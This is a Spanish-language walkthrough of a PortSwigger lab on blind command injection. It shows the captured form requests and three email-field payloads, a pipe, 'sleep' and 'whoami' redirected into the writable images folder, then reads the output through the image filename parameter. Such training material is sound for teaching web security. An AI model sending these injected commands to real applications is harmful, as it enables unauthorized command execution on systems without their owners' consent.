Blind command injection with output redirection
Laboratorio de Portswigger sobre Command Injection
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una Blind Command Injection en la función de comentarios. La aplicación ejecuta un comando en la terminal que incluye datos proporcionados por el usuario. La salida del comando no se devuelve en la respuesta. Sin embargo, podemos usar la redirección de salida para capturarla. Existe una carpeta escribible en: /var/www/images/. La aplicación sirve las imágenes del catálogo de productos desde esta ubicación. Podemos redireccionar la salida del comando inyectado a un archivo en esta carpeta y luego usar la URL de carga de imágenes para recuperar el contenido del archivo. Para resolver el laboratorio, debemos ejecutar el comando whoami y recuperar su salida
Guía de command injection
Antes de completar este laboratorio es recomendable leerse esta guía de command injection https://justice-reaper.github.io/posts/Command-Injection-Guide/
Resolución
Al acceder a la web nos sale esto
Pulsamos en Submit feedback y vemos un formulario
Hacemos click sobre Submit feedback y capturamos la petición con Burpsuite
La respuesta obtenida son unas llaves vacías {}
Si usamos este payload | en el campo email, en vez de {} en el output vemos un mensaje de Could not save
1
csrf=ZhcxbGtPNDRaQXlONDnnGJafoRTWN6uI&name=test&email=|test%40gmail.com&subject=test&message=test
Usando este payload se ejecuta el comando sleep
1
csrf=ZhcxbGtPNDRaQXlONDnnGJafoRTWN6uI&name=test&email=||sleep+10||&subject=test&message=test
Con este payload estamos escribiendo el output de nuestro comando en /var/www/images
1
csrf=ZhcxbGtPNDRaQXlONDnnGJafoRTWN6uI&name=test&email=||whoami+>+/var/www/images/output.txt||&subject=test&message=test
Si pulsamos Ctrl + U nos damos cuenta de que las imágenes están siendo cargadas a través de un parámetro filename
Si accedemos a https://0aa800dd041cfe318091ada900180005.web-security-academy.net/image?filename=output.txt veremos el output de nuestro comando






